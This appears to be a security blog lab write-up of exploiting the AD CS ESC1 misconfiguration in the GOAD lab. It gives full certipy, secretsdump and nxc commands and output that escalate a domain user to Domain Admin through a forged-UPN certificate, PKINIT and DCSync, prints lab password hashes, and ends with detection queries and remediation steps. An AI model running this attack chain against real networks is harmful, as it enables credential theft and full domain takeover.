--- title: "AD CS Part 2: ESC1 Exploitation: RPC Targeting, PKINIT Authentication, and Forest Compromise" description: "Weaponizing the ESC1 certificate template on ESSOS-CA: MS-WCCE RPC endpoint resolution, PKINIT Kerberos TGT issuance via weak UPN mapping, and full forest takeover using DRSUAPI DCSync." date: 2026-11-05 author: Sevban Dönmez (@jankesec) canonical: https://jankesec.com/posts/ad-cs-esc1-domain-admin/ --- ## Attack Surface Overview: The ESC1 Misconfiguration In Active Directory Certificate Services, **ESC1** represents the most direct privilege escalation vector from an unprivileged domain user account to Domain Administrator. It occurs when a published certificate template satisfies three concurrent conditions: 1. **Broad Enrollment Rights:** The template DACL grants `Enroll` or `AutoEnroll` permissions to a broadly accessible group such as `Authenticated Users` or `Domain Users`. 2. **Enrollee-Supplied Subject:** The template's `mspki-certificate-name-flag` includes the bitmask flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (`0x00010000`). This instructs the CA to accept arbitrary Subject Alternative Name (`SAN`) attributes supplied in the certificate signing request rather than constructing the SAN from the requester's Active Directory object. 3. **Client Authentication EKU:** The template's `pKIExtendedKeyUsage` contains the `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) or `Smart Card Logon` OID (`1.3.6.1.4.1.311.20.2.2`), enabling the issued certificate to be used in RFC 4556 Kerberos PKINIT exchanges. When these conditions align, any authenticated principal can request a valid X.509 certificate specifying the identity of a Tier-0 administrator (such as `daenerys.targaryen@essos.local`), present the certificate to the KDC, and receive an authentic TGT with full administrative privileges. --- ## Phase 1: RPC Endpoint Resolution and Certificate Enrollment During initial testing against the `essos.local` environment, issuing a standard certificate request against the domain controller fails with an RPC error: ```bash $ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \ -upn daenerys.targaryen@essos.local -dc-ip 192.168.56.12 [*] Requesting certificate via RPC [!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered ``` ### Protocol Mechanics: Why `ept_s_not_registered` Occurs The Windows Client-to-Certificate Authority protocol (`[MS-WCCE]`) executes over RPC (`ncacn_ip_tcp`). Under this protocol: 1. The client connects to the RPC Endpoint Mapper (`EPM`) on TCP port `135` of the specified target IP (`192.168.56.12`, the Domain Controller `MEEREEN`). 2. The client requests the dynamic high-port binding for the `ICertRequestD2` interface UUID: ```bash UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE Version: 0.0 ``` 3. Because `ESSOS-CA` is hosted on member server `BRAAVOS` (`192.168.56.23`) rather than on the Domain Controller, the Domain Controller's endpoint mapper returns status code `0x000006D9` (`ept_s_not_registered`). To resolve this, the client must explicitly direct the RPC request to the host actually executing the `certsvc` service using the `-target` flag: ```bash $ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \ -upn daenerys.targaryen@essos.local -target braavos.essos.local -dc-ip 192.168.56.12 [*] Requesting certificate via RPC [*] Request ID is 3 [*] Successfully requested certificate [*] Got certificate with UPN 'daenerys.targaryen@essos.local' [*] Certificate has no object SID [*] Saving certificate and private key to 'daenerys.targaryen.pfx' ``` The CA processes the request, embeds `daenerys.targaryen@essos.local` as the `Subject Alternative Name` (`szOID_SUBJECT_ALT_NAME2`, `2.5.29.17`), signs the certificate with its private key, and returns the certificate alongside the generated private key in a PKCS#12 (`.pfx`) archive. --- ## Phase 2: PKINIT Pre-Authentication and Weak UPN Mapping With `daenerys.targaryen.pfx` saved locally, the certificate must be exchanged for a Kerberos Ticket Granting Ticket via **PKINIT (RFC 4556)**. ```bash $ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12 [*] Certificate identities: [*] SAN UPN: 'daenerys.targaryen@essos.local' [*] Using principal: 'daenerys.targaryen@essos.local' [*] Trying to get TGT... [*] Got TGT [*] Got hash for 'daenerys.targaryen@essos.local': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a ``` ### The Weak Binding Nuance The enrollment output noted: `Certificate has no object SID`. This occurs because the `ESC1` template specifies `mspki-enrollment-flag` containing `0x00080000` (`CT_FLAG_NO_SECURITY_EXTENSION`), omitting the Microsoft-specific `szOID_NTDS_CA_SECURITY_EXT` (`1.3.6.1.4.1.311.25.2`). When a certificate lacks an embedded object SID: - On unpatched or moderately configured Domain Controllers (`StrongCertificateBindingEnforcement = 0` or `1`), the KDC falls back to matching the SAN UPN (`daenerys.targaryen@essos.local`) directly against LDAP `userPrincipalName`. - The KDC accepts the match, generates the PAC for `daenerys.targaryen`, and returns an authentic TGT in the `AS-REP`. - Certipy extracts the user's NT hash from the PAC cache data returned in the ticket exchange: `34534854d33b398b66684072224bb47a`. If `StrongCertificateBindingEnforcement = 2` were configured on the KDC, the authentication attempt would be rejected with `KDC_ERR_CLIENT_NAME_MISMATCH` because the certificate does not carry a verifiable object SID extension.
ESC1 EXPLOITATION · ENROLLEE SUPPLIES SUBJECT → PKINIT UPN MAPPING → DCSYNC 1 · CERTIFICATE ENROLLMENT Target: ESSOS-CA (braavos .23) Caller: missandei (Domain User) certipy req -ca ESSOS-CA -template ESC1 -upn daenerys ENROLLEE SUPPLIES SUBJECT CT_FLAG_ENROLLEE_SUPPLIES_SUBJ Issued X.509 cert has no SID OID Output: daenerys.pfx keypair .pfx 2 · PKINIT PRE-AUTH Target: KDC (meereen .12) certipy auth -pfx daenerys.pfx AS-REQ (PA-PK-AS-REQ) KDC maps cert without SID WEAK CERTIFICATE BINDING SAN UPN matches daenerys StrongBindingEnforcement < 2 Output: daenerys TGT + NT Hash TGT 3 · DOMAIN TAKEOVER Target: DC03 meereen (.12) daenerys ∈ Domain Admins DRSUAPI DsGetNCChanges DCSync forest root credentials ROOT SECRETS DUMPED krbtgt hash: 7e486cbf… Admin hash: 54296a48… STATUS: essos.local PWNED EXPLOITATION IMPACT · 1 unprivileged RPC request collapses all Tier-0 boundaries into Domain Admin DCSYNC EVIDENCE: krbtgt: 7e486cbf… · daenerys: 34534854… · Administrator: 54296a48…
The ESC1 flow: a certificate request pinned to the CA host, a PKINIT handshake mapping the certificate to daenerys.targaryen by UPN, and a DCSync yielding full forest control.
--- ## Phase 3: Domain Takeover via DRSUAPI DCSync Because `daenerys.targaryen` is a member of `Domain Admins`, her account holds directory replication extended rights over the domain partition root (`DC=essos,DC=local`): - `DS-Replication-Get-Changes` (`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`) - `DS-Replication-Get-Changes-All` (`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`) Using `impacket-secretsdump` with her recovered NT hash, we invoke `DRSUAPI` RPC function `DsGetNCChanges` to simulate a Domain Controller replication request and dump the `krbtgt` account hash: ```bash $ impacket-secretsdump essos.local/daenerys.targaryen@192.168.56.12 \ -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d::: ``` ### Full Forest Access Verification With the `krbtgt` hash (`7e486cbfb7d10ec86b7f8384f763d60d`) extracted, Golden Ticket generation is possible for any arbitrary identity across `essos.local`. To confirm direct administrative execution, secretsdump also yielded the built-in `Administrator` hash (`54296a48...`): ```bash $ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local SMB 192.168.56.12 445 MEEREEN [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!) ``` The entire compromise chain required a single unprivileged RPC certificate request. No password cracking, Kerberoasting, or complex multi-hop ACL walks were required. --- ## Detection Engineering and Remediation ### Forensic Artifacts and Event Signatures | Event ID | Provider | Description | Critical Fields to Inspect | | :--- | :--- | :--- | :--- | | **`4886`** | Active Directory CS | Certificate request received | Requester account (`missandei`), template name (`ESC1`), requested attributes (`SAN: daenerys.targaryen@essos.local`). | | **`4887`** | Active Directory CS | Certificate issued | Subject Alternative Name mismatching requester identity. | | **`4768`** | Kerberos KDC | TGT requested via PKINIT | `Pre-Authentication Type = 16`, Target Account = Tier-0 Administrator (`daenerys.targaryen`). | | **`4662`** | Directory Service | Extended rights accessed | Access Mask `0x100`, Access Request: `DS-Replication-Get-Changes-All` from a non-DC IP address. | ```kql // KQL Rule: Flag Certificates Issued with SAN Divergence SecurityEvent | where EventID == 4887 | extend Requester = tostring(parse_xml(EventData).Data[0].["#text"]) | extend SAN = tostring(parse_xml(EventData).Data[4].["#text"]) | extend Template = tostring(parse_xml(EventData).Data[2].["#text"]) | where Requester != "" and SAN != "" and Requester != SAN | project TimeGenerated, Computer, Requester, SAN, Template ``` ### Remediation Protocol 1. **Remove Enrollee-Supplied SAN Flag:** Modify the vulnerable template to generate subjects from Active Directory object attributes: ```powershell Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" ` -Replace @{'mspki-certificate-name-flag' = 0x0} ``` 2. **Enforce Strong Certificate Binding (KB5014754):** Configure Domain Controllers to strictly require Object SID validation: ```cmd reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f ``` 3. **Restrict Enrollment Permissions:** Audit and remove `Domain Users` or `Authenticated Users` from template DACLs that specify Client Authentication or Smart Card Logon EKUs. --- ## Evidence and limits The `ESC1` certificate enrollment, PKINIT exchange, and subsequent DCSync were executed against `ESSOS-CA` (`192.168.56.23`) and `MEEREEN` (`192.168.56.12`) in the isolated GOAD lab. All certificates, keys, and dumped hashes belong to the synthetic `essos.local` domain. ## References - **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/) - **SpecterOps, Certified Pre-Owned:** [posts.specterops.io](https://posts.specterops.io/certified-pre-owned-d95910965cd2) - **The Hacker Recipes, Certificate Templates:** [thehacker.recipes/ad/movement/adcs/certificate-templates](https://www.thehacker.recipes/ad/movement/adcs/certificate-templates) - **Microsoft, Kerberos PKINIT Protocol Specification (RFC 4556):** [datatracker.ietf.org/doc/html/rfc4556](https://datatracker.ietf.org/doc/html/rfc4556) - **MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649):** [attack.mitre.org/techniques/T1649/](https://attack.mitre.org/techniques/T1649/) - **MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006/](https://attack.mitre.org/techniques/T1003/006/)